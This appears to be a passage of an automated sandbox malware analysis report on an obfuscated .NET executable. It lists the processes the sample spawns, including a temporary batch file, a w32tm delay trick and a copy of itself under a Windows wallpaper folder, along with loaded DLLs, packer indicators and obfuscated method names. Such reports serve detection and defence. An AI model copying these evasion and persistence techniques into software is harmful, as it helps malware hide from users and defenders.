Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe "C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe"
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe "C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Section loaded: midimap.dll	Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: GqjiKlwarV.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: GqjiKlwarV.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: GqjiKlwarV.exe

Static file information: File size 1645568 > 1048576

Source: GqjiKlwarV.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x191400

Source: GqjiKlwarV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: GqjiKlwarV.exe, sc0Of1oxstw6PFphGg4.cs

.Net Code: Type.GetTypeFromHandle(aMY5ppFlqmrfrxZWUcy.K1JRfh9QRFJ(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(aMY5ppFlqmrfrxZWUcy.K1JRfh9QRFJ(16777245)),Type.GetTypeFromHandle(aMY5ppFlqmrfrxZWUcy.K1JRfh9QRFJ(16777259))})

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B7573DB push ecx; retf	0_2_00007FFD9B7573DC
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B755343 pushfd ; ret	0_2_00007FFD9B755349
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B75427C push eax; ret	0_2_00007FFD9B75427D
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B7529C0 push BEFFFFFDh; retf	0_2_00007FFD9B7529C5
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Code function: 0_2_00007FFD9B7500BD pushad ; iretd	0_2_00007FFD9B7500C1
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B7973DB push ecx; retf	5_2_00007FFD9B7973DC
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B795343 pushfd ; ret	5_2_00007FFD9B795349
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B79427C push eax; ret	5_2_00007FFD9B79427D
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B7929C0 push BEFFFFFDh; retf	5_2_00007FFD9B7929C5
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Code function: 5_2_00007FFD9B7900BD pushad ; iretd	5_2_00007FFD9B7900C1

Source: GqjiKlwarV.exe	Static PE information: section name: .text entropy: 7.426701730664169
Source: GqjiKlwarV.exe.0.dr	Static PE information: section name: .text entropy: 7.426701730664169
Source: iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe.0.dr	Static PE information: section name: .text entropy: 7.426701730664169
Source: iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe0.0.dr	Static PE information: section name: .text entropy: 7.426701730664169
Source: iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe1.0.dr	Static PE information: section name: .text entropy: 7.426701730664169

Source: GqjiKlwarV.exe, yv9ejbfBF7SiHsI20KJ.cs	High entropy of concatenated method names: 'vGQf1TeOVB', 'jZXInJGiRWEXMRB9Ywgm', 'CMuSBBGiCyS9gXuoAbYB', 'BjC2W1GiGk1i2fF5imdO', 'U1J', 'P9X', 'Fe1GZKfJKR6', 'cucGZ698Pc6', 'S0MGXEwaFPu', 'imethod_0'
Source: GqjiKlwarV.exe, SsY16EfKkZb3nPZpNxI.cs	High entropy of concatenated method names: 'mxMf3S9vri', 'jImfk4RiZM', 'Gnhf7rQnlF', 'BCG7YjGd5l0cm1457PRr', 'jCDqmDGdhTUk5CG1soud', 'nPS9BEGdWcCcsBa53UqI', 'Ub4uMFGdDWmoPvGZq3iE', 'g8ufJYj5u1', 'APkfU49VAc', 'hVjQLsGdHRo1nsfwoIqE'
Source: GqjiKlwarV.exe, yV0tjsuUeryxvvDQu3X.cs	High entropy of concatenated method names: 'B5Judk8WTw', 'syfWqvGieoXcD0rPwA39', 'qSKS6kGiHmm5agOpj9pK', 'rBIRnPGiTvlPGiRNA1F4', 'MyY5qwGiWeZaoa1TlpNt', 'KUoHc2GiDKq7TH4MQLrw', 'E94', 'P9X', 'vmethod_0', 'XZdGZYaHBnv'
Source: GqjiKlwarV.exe, UZDOOKGwducJSZgHpVf.cs	High entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'F1sGXGxZtmx', 'HCrGZG9rxI1', 'p5EnqoG32uMH8Fp0E0JM', 'UVviW8G3F0mvq0ZJWIme', 'bsBiHyG3wE7PcvP1IG3K', 'jEL7AOG3zK1GXb1bGDvh'
Source: GqjiKlwarV.exe, vyq7vEskXq2ZuPwPfd9.cs	High entropy of concatenated method names: 'wdusW2YHDt', 'wuontWGhI9x0pg88Swj0', 'GusoCTGht75sosGjWNMT', 'ie1F2UGhQDF3fRPTHx42', 'vE0scZSR5X', 'aNysdsTtNJ', 'cmZsidVnNS', 'p1YXZxGh1BbkPsFEupLV', 'Lmy5XjGhroLuEt2EZISs', 'UNSD8PGhMZeMHYiOjA71'
Source: GqjiKlwarV.exe, Om6bRpIdZwBu8V7uL3L.cs	High entropy of concatenated method names: 'method_0', 'h59', 'R73', 'SBBIH4Fpvw', 'gyJCZXGQ11uqfaeuTK8x', 'qfEd1dGQrlBpWZ8sQPwr', 'B9EHX0GQmGhVxmnSYvho', 'mdUlCBGQVWLYdBaIPS3K', 'zFPA0PGQINS8lt62g4Y3', 'oK8ZnOGQt3trC2iVPQuh'
Source: GqjiKlwarV.exe, zcsmOOoCPHo7O7uaIXe.cs	High entropy of concatenated method names: 'fJToZa5nOK', 'g10ofgtbs8', 'VLtmsSG2gjLXWLQ6TcAB', 'zbJ2VZG2baRJ4ILNTfia', 'rg7bewG2MLl3vU74WW86', 'e7rLgfG21INEEy8t8SIw', 'uy6rDsG2r0TtUhpOxjuD', 't4coRJkqfX', 'rfMgUSG2BxdpFGxiqUrT', 'tAdB94G20bZR7B5ibUdx'
Source: GqjiKlwarV.exe, WZI4TZY1uFUVN9QqiPD.cs	High entropy of concatenated method names: 'wPKGX6m8PY4', 'T6DYmQlJgn', 'zpMGXxkDn05', 'XjS4QBG0sqt1FTTcusnO', 'TCf6QlG0YxuNb4KvZiMR', 'SFmOvCG0xrriVEAEFVhk', 'qEsRJ1G09era7APsQwrc', 'ioVBO4G0NhotrXh2FDRN', 'bFt9M7G0q4aoYKqZIMWX', 'dFrbbVG0PsjLbnXoYnNE'
Source: GqjiKlwarV.exe, AKSfM6z3Bl1aYqgiB5.cs	High entropy of concatenated method names: 'YkNGGUZwmO', 'GQhGnPvDb4', 'lKtGZ2fiCl', 'SdqGfyIF0R', 'I7yGuy4gY4', 'GgTGENlWhc', 'NxgGpsUY3d', 'sJwXwAG3XR8pRu1HKyi4', 'UwjbEfG3pMMY8ZiBOZxr', 'ewbFdnG3yXYQpysvLLn6'
Source: GqjiKlwarV.exe, rDwq1G30hJAptJjT22p.cs	High entropy of concatenated method names: 'Gt93FPqZao', 'tBV3zXuHjA', 'g8D3BcWGvs', 'cXi3ag8cgQ', 'KFh3bfVMKN', 'ogp3MngTi7', 'Mt33gccmEv', 'RPu312O6UB', 'evP3rHSV5m', 'JR73m8u8du'
Source: GqjiKlwarV.exe, mhRdZ6E02gVlqu5LAiT.cs	High entropy of concatenated method names: 'VJJEQqXqRX', 'Py5Eo84hxh', 'q6uyXPGTGk70ID7SZyw5', 'r8DhlmGTRLVIscGjIAjh', 'mG77gHGTnESGeeByJxsY', 'bNPEBan0bK', 'X0bEagv6Rk', 'Xx7EbU2dWV', 'FHGEMjCUWd', 'n9jEgN9H8y'
Source: GqjiKlwarV.exe, sX75qmnrnAwioycUnWg.cs	High entropy of concatenated method names: 'vKEZnBRRHc', 'B5wZZBbI6F', 'wqyZfOeMOZ', 'Dd9VuZGcnB0UgDZYlq0Y', 'APmLZeGcGvP3psOkZd2T', 'YJCNBZGcRtd8TGPWLWm3', 'fTrZvWJnRN', 'FxBut1GcEtnWQNwA8nEl', 'FZu7GBGcfxm4Cwi60QFa', 'HtxwH6GcuRehwd5XmC8Q'
Source: GqjiKlwarV.exe, rN1rwAcwR0Hvb208KIs.cs	High entropy of concatenated method names: 'ayidCwlikH', 'LZjdGLCkNS', 'Yd7', 'cd8dRwg11x', 'NbudnbxllI', 'TeVdZsTa6t', 'QJZdfoRglP', 'blXhROG1IFiu7AniWJSr', 'sjpSG7G1mcTpcdWjiNie', 'epUsEpG1VNX0GjprkEiJ'
Source: GqjiKlwarV.exe, KVSLPPJyYOKAvsIk94J.cs	High entropy of concatenated method names: 'YxyJdTUIaT', 'WFxJ4HIiNn', 'rj7JSYfG6I', 'dcFJlQuQxD', 'NsGJjCdjgk', 'V6fJKVFYug', 'WCNJ6L9AxU', 'DUtJxCvdTI', 'vHdJ9ii8kF', 'DxuJsn1tsC'
Source: GqjiKlwarV.exe, uognLadXUrqW7Iv6Jyu.cs	High entropy of concatenated method names: 'yhndy2Fxft', 'wqJdvxSRv3', 'method_0', 'method_1', 'I27', 'c6a', 'C5p', 'jc3d4Be0rh', 'method_2', 'uc7'
Source: GqjiKlwarV.exe, XnqdTrYQR0MqxQ0J965.cs	High entropy of concatenated method names: 'w52', 'o38', 'vmethod_0', 'E0fY2rhRto', 'MiSGX9Wh0AW', 'a2QXh6G0LIrEMy7IIm8O', 'R36o0NG0UDPCXjEpMyTi', 'd2I125G08o7FO95DrJis', 'APRxCsG03V24DUrQWHkC', 'G41JHMG0kt0ejVQBRbNd'
Source: GqjiKlwarV.exe, yIWBBCEGdaaphajbRpJ.cs	High entropy of concatenated method names: 'v5gEnkHOBO', 'IUxEZBlZOK', 'nK2EfmEIQC', 'P2tqUaGHfi3KshvAxPK3', 'h1OZxmGHnWMi8uDSZXkn', 'SkyNfhGHZPESQvRmKhhS', 'HWsKFTGHudymMMlJuA5J', 'StDux2GHEg0xwyNJ8C39', 'e68EYgGHXSc7J1ULReTD', 'qriifiGHpcwlvaP1p4cD'
Source: GqjiKlwarV.exe, BLyu7MTD1W4PljViSTM.cs	High entropy of concatenated method names: 'q13', 'Sw1', 'method_0', 'GF0ThTK9Wx', 'SFUTO1KLJp', 'dquT05YVqu', 'ffsTAfnGEj', 'XoJTBkHg3E', 'TxoTa2mCyJ', 'tx8N21GmbOG0RsFarQKs'
Source: GqjiKlwarV.exe, tCt8mFX3epodXDWcwWQ.cs	High entropy of concatenated method names: 'rDNX7WeZdJ', 'UV8XcMx68k', 'uW3XdOwgCJ', 'TJRXi8rCMO', 'fYkXHM47UN', 'kk4XTO9CN0', 'eVGFMuGT0maHrH9XF02N', 'bR2i8TGTAvsB0PZiicUB', 'IEmw37GTBEU71Y8S3fwF', 'EtdHpMGTaMTtayMwse1m'
Source: GqjiKlwarV.exe, GmwbIMXyvE3bF6aKIE2.cs	High entropy of concatenated method names: 'A7pX4xJGww', 'nMbXSeB8Do', 'KFqXlcDUwO', 'nIXtkCGT6Wuwqy9XjN3u', 'VTiTtTGTxoB5Bl5AIM2X', 'FomumEGTj3oikqYUMRDd', 'pMbgaAGTK7qUNM2PNaJF', 'YGwmnyGT9dp2oWtxowjZ', 'FkkiuXGTsZuveGbWepSv', 'WctqYUGTYysrcQXpJejQ'
Source: GqjiKlwarV.exe, cWbCa4OeZ5PPM12Hptt.cs	High entropy of concatenated method names: 'ugkZ1fGtwXIo4i1Ymn5J', 'gB8j3pGt2xaBadQcsCEd', 'mJ9mLDGtF7Pr6wBfeoTh', 'k68tnNGtI3WOEIJ8LApK', 'vI0S8xGttOTLRKQca7tJ', 'I849XrGtQxqq4B46gabf', 'Ph0dl3GtmJCuqLiyfYpo', 'W1r9LKGtVEnhs4tL10wP'
Source: GqjiKlwarV.exe, VqFpyHZh1uPZwhxnrI1.cs	High entropy of concatenated method names: 'l75ZF7gJIb', 'ApZxPPGdESb1Y18UnmTk', 'oTNSDTGdfgZiIUT0Eiep', 'CO1nYJGduHJmtDnNsk7B', 'OOuVBvGdvPBNO5H9CG68', 'uwJA47Gdp5H5QyOXx68w', 'bR933mGdyq5uETH75wj3', 'gKeQ8jGd4dM9BwWYeuou', 'abnfumcrMT', 'dDTV5KGdK3ha81BXMH6o'
Source: GqjiKlwarV.exe, oUVgTUQSh7QwOx14rml.cs	High entropy of concatenated method names: 'pqxQK5dbax', 'DV6QsaSeGQ', 'G5OQqyA6Lm', 'OTaQPiFRBL', 'CsEQJtLByt', 'njSQU2wQYJ', 'swVQ8VbWfR', 'yvRQLnOXvf', 'Dispose', 'sFoVpKG26kHFmgYUrvrI'
Source: GqjiKlwarV.exe, KIN0ZF7OIXiAedCrQwZ.cs	High entropy of concatenated method names: 'c7q7AnRiw5', 'Xxw7BisHTb', 'zEO7aITO9V', 'leU7bysNQs', 'XH67MEZwPD', 'qda7g2Tg87', 'u8I71TRFb2', 'QKd7rT3S8Q', 'N0X7mps7gr', 'Wv27VxO9Cs'
Source: GqjiKlwarV.exe, qpywoGu09ZUvDFOfIoE.cs	High entropy of concatenated method names: 'PK3uQFgktC', 'HHfuovQocm', 'JVxu2sKWQW', 'ToxG56GHCc4e3CgcP8Pg', 'Xe65pNGiwFpeHA1nuo9R', 'fiAJ0WGizdMwlYqkWTd5', 'OoBbf5GHGnsE2t60EKaH', 'gDWuBKtntk', 'aqeuaoRNmt', 'ACwub3Kw67'
Source: GqjiKlwarV.exe, dILQjfplug25AMCVorD.cs	High entropy of concatenated method names: 'q76', 'method_0', 'p9e', 'hkB', 'method_1', 'method_2', 'AHm7RqGeLYP5uCjKUdqL', 'K9HK6sGe3kaaXjvEXk0W', 'B0pY54GekXWvk8ioiibS', 'vKIVxMGe7lAHIiQT0xhc'
Source: GqjiKlwarV.exe, pYGCmxZiYpAxUg8brVc.cs	High entropy of concatenated method names: 'KZ3', 'imethod_0', 'vmethod_0', 'UluGXZDCRRo', 'HCrGZG9rxI1', 'VoVVlwGcTJsPsNsJKjWa', 'aOqqXMGceid8fuNvpYK5', 'gUMqkMGcWlnfrfH4dVK6', 'XExMWGGcDZZoEDH05E9A', 'e3f6RRGc57qPnpq87b6g'
Source: GqjiKlwarV.exe, lLc42J7XZ0E9RyV4hXm.cs	High entropy of concatenated method names: 'eNl7yeNmDl', 'Yo07vtY64b', 'JFS74uXqCs', 'Y78LuIGgGQicHcAsABCZ', 'KEWyYiGMziGdb4mxKqiF', 'euUYtWGgCja0HuuQ4ldq', 'poZp7eGgRabcTHMQvqy5', 'Oo6S8JGgnSkTvoMSMIrj', 'xLMoBnGgZNQpBlq1WUHr'
Source: GqjiKlwarV.exe, lrrbVFfpWxxoCbSKv2o.cs	High entropy of concatenated method names: 'Rpx', 'KZ3', 'imethod_0', 'vmethod_0', 'GIkGXfMd2qF', 'HCrGZG9rxI1', 'WnkNSuGdsTwvK1Zj5iJ7', 'B77d4kGdYZLSG6TgB7Fx', 'XEmKi0GdNYlsvoZjPRju', 'QKaXKbGdqwGFfN6AgToX'
Source: GqjiKlwarV.exe, Ul28X9kVGo4YrT1vKBQ.cs	High entropy of concatenated method names: 'fLLktg7oOS', 'AaikQUe8M7', 'O6FkoeeJ43', 'akHk2VcUw4', 'LhckFHxBUZ', 'aqZgZ2GM0RbsHO6Ow5C4', 'RuBaKDGMAuljy5hbWnr3', 'bHydQVGMBb4QdZL6j8Ie', 'LNE5tnGMaPUKpPQHB5G0', 'iD1cqsGMbsxn99RSkmOl'
Source: GqjiKlwarV.exe, e92Yh0jP0sfmN06jnGv.cs	High entropy of concatenated method names: 'Gc3sSeW7e0', 'yyMslwRtoh', 'b7u8IxGhHKpcDUpQAgTy', 'ThkRtrGhdPYj5rkTsGRY', 'kXN8NKGhipseTeipdBls', 'zOPWiFGhTR2VhfXIjKLR', 'cEcdcqGhegN8eQ8EmmQr', 'HcqssvPoTQ', 'nafUMLGhhiaFhtEdJyPl', 'geLOiDGhDPlFAjjdw3bf'
Source: GqjiKlwarV.exe, wETvQkNK44iXJ0tcOeb.cs	High entropy of concatenated method names: 'ok9u0dGApNu12DP9bwn9', 'kpL0AKGAy1xaY1dLsuy5', 'YOaiBBGAvvOCS32xB3JN', 'j0Hs15GAEL7TvlZ0VURV', 'jd67mHGAXimaueRWHpec', 'method_0', 'method_1', 'TTWNx1GRLB', 'iuSN9WmSa6', 'GRPNsee2Te'
Source: GqjiKlwarV.exe, BJ9Dc1UBTH26iBsTSvl.cs	High entropy of concatenated method names: 'a99', 'yzL', 'method_0', 'method_1', 'x77', 'PBqUbQY3Ln', 'v8lUM9jlTB', 'Dispose', 'D31', 'wNK'
Source: GqjiKlwarV.exe, lPWPJPRf34cqVaPmYdp.cs	High entropy of concatenated method names: 'ry5REo4wUR', 'WdVRXVk1Tx', 'FCtRp15FaW', 'lWDRyVJxd1', 'wJtXuSGkygd1Z65U76QX', 'yONDckGkXmsOuE2Y7vm3', 'q1HPYXGkpPVwQKZqAmEc', 'KFQjW2GkvMxmI4t0libB', 'QJl4OhGk41418jgxwKKg', 'qOlkiFGkSDbp3K79ygQt'
Source: GqjiKlwarV.exe, jMX3W1Z8k072oZBOorx.cs	High entropy of concatenated method names: 'VZq', 'KZ3', 'XA4', 'imethod_0', 'e23', 'Q23GXnDZV0h', 'HCrGZG9rxI1', 'GWHfjNGc8sliBuMqOAvg', 'Uey4kiGcL1RAEJHIZZZt', 'wAZwXcGc3rrb19R7NKv4'
Source: GqjiKlwarV.exe, pSNHBYF9UaALqSaqyoB.cs	High entropy of concatenated method names: 'YRVF7Jxpo3', 'hgJFcechKs', 'MLyFdi8XLy', 'xcIFiIM2j9', 'ykxFHoZTJE', 'wcaFTiBvp0', 'htdFewnNbl', 'xU3FWciAhn', 'HEDFDIOoDG', 'W96F52nG38'
